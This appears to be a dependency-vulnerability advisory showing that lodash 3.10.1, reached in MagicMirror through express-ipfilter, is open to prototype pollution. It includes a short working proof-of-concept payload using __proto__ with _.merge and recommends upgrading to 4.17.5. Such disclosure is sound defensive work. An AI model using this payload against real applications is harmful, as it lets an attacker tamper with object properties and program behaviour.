Detailed paths

  • Introduced through: magicmirror@MichMich/MagicMirror#60b9a5b9dad36a7748a5d1bdb3b32c0c6384e4c0 express-ipfilter@0.3.1 lodash@3.10.1


lodash is a javaScript utility library delivering modularity, performance & extras.

Affected versions of this package are vulnerable to Prototype Pollution. The utilities function allow modification of the Object prototype. If an attacker can control part of the structure passed to this function, they could add or modify an existing property.

PoC by Olivier Arteau (HoLyVieR)

var _= require('lodash');
        var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
        var a = {};
        console.log("Before : " + a.oops);
        _.merge({}, JSON.parse(malicious_payload));
        console.log("After : " + a.oops);


Upgrade lodash to version 4.17.5 or higher.
